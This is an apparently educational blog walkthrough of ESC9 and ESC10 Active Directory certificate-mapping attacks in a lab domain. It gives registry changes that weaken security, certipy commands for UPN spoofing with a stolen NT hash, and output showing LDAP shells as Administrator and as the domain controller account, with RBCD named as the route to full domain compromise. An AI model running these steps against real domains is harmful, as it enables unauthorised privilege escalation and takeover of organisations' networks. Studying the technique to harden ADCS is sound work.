There is a certificate template flag called CT_FLAG_NO_SECURITY_EXTENSION. When this flag is set, issued certificates do not include the objectSid extension. As a result, even when StrongCertificateBindingEnforcement is set to 1, such certificates can still be used for authentication—making certain attack paths exploitable.


However, in modern environments, if StrongCertificateBindingEnforcement is set to 2 (which is now the default setting), the absence of the objectSid extension makes the certificate unusable for Kerberos authentication.


To demonstrate this scenario, I’ll manually set the StrongCertificateBindingEnforcement value to 1. If you want to replicate this in your lab, you can execute the following command as an administrator on the domain controller:


Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "StrongCertificateBindingEnforcement" -Value "1" -PropertyType "DWORD"

You can enable the CT_FLAG_NO_SECURITY_EXTENSION in a template using the following command:


certutil -dstemplate <TemplateName> msPKI-Enrollment-Flag +0x00080000

ESC9 Requirements


To successfully exploit ESC9, the following conditions must be met:


  • StrongCertificateBindingEnforcement must not be set to 2 (default), or
    CertificateMappingMethods must be set to UPN (0x4) or ALL (0x1F) flag.


  • The certificate template must have the CT_FLAG_NO_SECURITY_EXTENSION flag set in its msPKI-Enrollment-Flag attribute.


  • The template must allow Client Authentication.


  • You must have GenericWrite rights over an account (A), which will be used to impersonate or compromise another account (B).


When a certificate template includes the CT_FLAG_NO_SECURITY_EXTENSION flag, certipy will explicitly identify it:


elswix@ubuntu$ certipy find -vulnerable -u elswix -p Password2! -target-ip 192.168.100.3  -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 36 certificate templates
[*] Finding certificate authorities
[*] Found 2 certificate authorities
[*] Found 26 enabled certificate templates
...[snip]...
[*] Enumeration output:
Certificate Templates
  0
    Template Name                       : ESC9
    Display Name                        : ESC9
    Certificate Authorities             : elswixcorp-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectRequireEmail
                                          SubjectAltRequireEmail
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : 16777216
                                          65536
                                          ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : ELSWIXCORP.LOCAL\Domain Admins
                                          ELSWIXCORP.LOCAL\Domain Users
                                          ELSWIXCORP.LOCAL\Enterprise Admins
...[snip]...
    [!] Vulnerabilities
      ESC9                              : 'ELSWIXCORP.LOCAL\\Domain Users' can enroll and template has no security extension

I won’t go through the full exploitation process here, as it’s identical to what we demonstrated earlier in this section when discussing UPN mapping. The only difference is that this time, you’ll be using a certificate template with the CT_FLAG_NO_SECURITY_EXTENSION flag enabled. Just follow the same steps, assuming that the elswix account has GenericWrite permissions over claire.


ESC10 – Weak Certificate Mapping


ESC10 involves exploiting weak or misconfigured settings in both the StrongCertificateBindingEnforcement and CertificateMappingMethods registry keys.


Case 1: StrongCertificateBindingEnforcement = 0


In the first case, StrongCertificateBindingEnforcement is set to 0, which completely disables objectSid verification. Even if the certificate includes the objectSid extension, it will be ignored. This effectively bypasses the security introduced in the Certifried patch.


Note: This configuration is no longer supported, so it's unlikely you'll encounter it in modern environments—unless dealing with an outdated or poorly maintained system.


Exploitation requirements for Case 1:


  • StrongCertificateBindingEnforcement is set to 0, disabling strong certificate mapping.


  • A certificate template with Client Authentication EKU enabled (any template will work, including the built-in User template).


  • The attacker has GenericWrite permissions over any account A, which allows them to modify its attributes (such as UPN or dNSHostName) to impersonate or redirect authentication to account B.


The exploitation process is identical to what we've demonstrated earlier with GenericWrite over a user account. The same technique also applies to computer accounts.


Case 2: CertificateMappingMethods = 0x4 (UPN Mapping) / 0x1F (All Mappings)


In this scenario, the CertificateMappingMethods registry value is set to 0x4, which enables UPN-based certificate mapping. When this flag is active, the domain controller prioritizes the UPN specified in the certificate’s SAN field, and the objectSid extension is ignored—as long as the UPN matches a valid user account.


Setting the value to 0x1F enables all supported mapping methods, including UPN mapping, which leads to the same result.


Exploitation requirements for Case 2:


  • CertificateMappingMethods is set to either 0x4 (UPN mapping only) or 0x1F (enables all mapping types).


  • A certificate template that allows Client Authentication (e.g., the default User template).


  • The attacker has GenericWrite permissions over any account A, which allows them to modify its attributes (such as UPN or dNSHostName) to impersonate or redirect authentication to account B.


For this demonstration, I’ve configured the domain controller with CertificateMappingMethods = 0x4 (setting it to 0x1F would also work).:


Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\SecurityProviders\SCHANNEL\" -Name "CertificateMappingMethods" -Value 0x4 -PropertyType "DWORD"

Let's now walk through the exploitation. In our example, the elswix user has GenericWrite permissions over claire, and we already obtained her NT hash in a previous step.


First, let’s change Claire’s UPN to administrator@elswixcorp.local:


elswix@ubuntu$ certipy account update -u elswix -p Password2! -user claire -upn administrator@elswixcorp.local -dc-ip 192.168.100.3
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'claire':
    userPrincipalName                   : administrator@elswixcorp.local
[*] Successfully updated 'claire'

Now, we’ll request a certificate using Claire’s credentials, enrolling with the built-in User template:


elswix@ubuntu$ certipy req -u claire -hashes :140e2a025b0a93dc13720d19e935a918 -template User -target-ip 192.168.100.3 -ca 'elswixcorp-DC01-CA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 88
[*] Got certificate with UPN 'administrator@elswixcorp.local'
[*] Certificate object SID is 'S-1-5-21-4266111273-315482142-3017431568-1104'
[*] Saved certificate and private key to 'administrator.pfx'

Perfect. We’ve successfully obtained a certificate that contains the UPN administrator@elswixcorp.local. Let’s now reset Claire’s UPN to its original value:


elswix@ubuntu$ certipy account update -u elswix -p Password2! -user claire -upn claire@elswixcorp.local -dc-ip 192.168.100.3
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'claire':
    userPrincipalName                   : claire@elswixcorp.local
[*] Successfully updated 'claire'

Next, we’ll attempt to authenticate using Kerberos PKINIT. Since the certificate includes the objectSid extension and StrongCertificateBindingEnforcement is not set to 0, we expect this to fail:


elswix@ubuntu$ certipy auth -pfx administrator.pfx -domain elswixcorp.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@elswixcorp.local
[*] Trying to get TGT...
[-] Object SID mismatch between certificate and user 'administrator'
[-] Verify that user 'administrator' has object SID 'S-1-5-21-4266111273-315482142-3017431568-1104'

As expected, the authentication failed.


Let’s now try using Schannel authentication instead of Kerberos PKINIT. This can be done by passing the -ldap-shell flag to certipy (you can also use PassTheCert):


elswix@ubuntu$ certipy auth -pfx administrator.pfx -dc-ip 192.168.100.3 -domain elswixcorp.local -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://192.168.100.3:636'
[*] Authenticated to '192.168.100.3' as: u:ELSWIXCORP\Administrator
Type help for list of commands

# whoami
u:ELSWIXCORP\Administrator

#

As shown, we’ve successfully obtained an LDAP shell as administrator via Schannel using the certificate. This was possible because CertificateMappingMethods is set to 0x4.


When the LDAP server receives the certificate, it performs UPN-based mapping. Since the UPN in the certificate matches an existing user—in this case, the administrator account—the mapping succeeds. During this process, the server typically splits the UPN at the @ symbol and attempts to match the first part (administrator) against the sAMAccountName. Once a match is found, the UPN mapping takes precedence, and the objectSid extension is ignored—even if it's present in the certificate.


Note: By default, certipy uses LDAPS (Port 636), which might not be supported in all environments. You can override this behavior using the -ldap-scheme parameter to explicitly specify either ldap or ldaps.


Once inside the LDAP shell, you can type help to list the available commands:


# help

 add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
 rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
 add_user new_user [parent] - Creates a new user.
 add_user_to_group user group - Adds a user to a group.
 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
 clear_rbcd target - Clear the resource based constrained delegation configuration information.
 disable_account user - Disable the user's account.
 enable_account user - Enable the user's account.
 dump - Dumps the domain.
 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
 get_user_groups user - Retrieves all groups this user is a member of.
 get_group_users group - Retrieves all members of a group.
 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
 grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
 start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
 whoami - get connected user
 dirsync - Dirsync requested attributes
 exit - Terminates this session.

#

As demonstrated, the LDAP shell provides a wide range of capabilities for enumeration and privilege escalation within the domain. From this point, there are several paths you can take to gain full control over the Domain Controller.


Alternative Approach for Case 2


It's also possible to impersonate a Domain Controller account. In this case, instead of changing the UPN to match administrator, you can set it to something like dc01$ (the machine account of a DC), allowing you to perform actions as that DC if the mapping succeeds.


elswix@ubuntu$ certipy account update -u elswix -p Password2! -user claire -upn 'dc01$@elswixcorp.local' -dc-ip 192.168.100.3
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'claire':
    userPrincipalName                   : dc01$@elswixcorp.local
[*] Successfully updated 'claire'

Now, let’s request a certificate using Claire’s credentials:


elswix@ubuntu$ certipy req -u claire -hashes :140e2a025b0a93dc13720d19e935a918 -template User -target-ip 192.168.100.3 -ca 'elswixcorp-DC01-CA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 91
[*] Got certificate with UPN 'dc01$@elswixcorp.local'
[*] Certificate object SID is 'S-1-5-21-4266111273-315482142-3017431568-1104'
[*] Saved certificate and private key to 'dc01.pfx'

Perfect. Now, let’s reset Claire’s UPN:


elswix@ubuntu$ certipy account update -u elswix -p Password2! -user claire -upn 'claire@elswixcorp.local' -dc-ip 192.168.100.3
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'claire':
    userPrincipalName                   : claire@elswixcorp.local
[*] Successfully updated 'claire'

Finally, let’s use the certificate for authentication:


elswix@ubuntu$ certipy auth -pfx dc01.pfx -dc-ip 192.168.100.3 -domain elswixcorp.local -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://192.168.100.3:636'
[*] Authenticated to '192.168.100.3' as: u:ELSWIXCORP\DC01$
Type help for list of commands

# whoami
u:ELSWIXCORP\DC01$

#

Great! As shown, we successfully authenticated as dc01$ via Schannel. Basically, the DC extracted the UPN from the certificate’s SAN, searched for the full UPN account, but didn’t find any match (since there’s no account with the UPN dc01$@elswixcorp.local). Then, it split the UPN at the @ symbol, took only the username part (dc01$), and looked for a sAMAccountName matching that value, successfully identifying the DC account.


From here, you could configure Resource-Based Constrained Delegation (RBCD) to fully compromise the domain.


This approach also works using the dNSHostName attribute when you have write permissions over a computer account, similar to the original Certifried technique, but this time leveraging Schannel instead of Kerberos. In that case, you would use the built-in Machine template instead of User.


Conclusion


As we've seen throughout this article, even after the Certifried patch, misconfigurations in certificate template flags and registry settings like StrongCertificateBindingEnforcement and CertificateMappingMethods can still leave Active Directory environments vulnerable to certificate-based privilege escalation. By abusing weak mapping logic, especially through Schannel and UPN-based mappings, an attacker with minimal rights, such as GenericWrite, can impersonate high-privileged users or even domain controllers. This highlights the importance of not only applying patches but also properly hardening ADCS configurations to prevent legacy behaviors from reintroducing old attack paths.


In this article, we explored Implicit Certificate Mapping and how it can still be exploited despite the Certifried patch, depending on registry settings and template configurations. In Part 3, we’ll dive into Explicit Certificate Mapping and how insecure configurations or excessive privileges can lead to ESC14. We’ll also cover ESC15, which is more straightforward but unrelated to certificate mapping exploitation.


References


https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
https://www.thehacker.recipes/ad/movement/adcs/certificate-templates
https://www.thehacker.recipes/ad/movement/adcs/certificate-authority
https://www.thehacker.recipes/ad/movement/adcs/certifried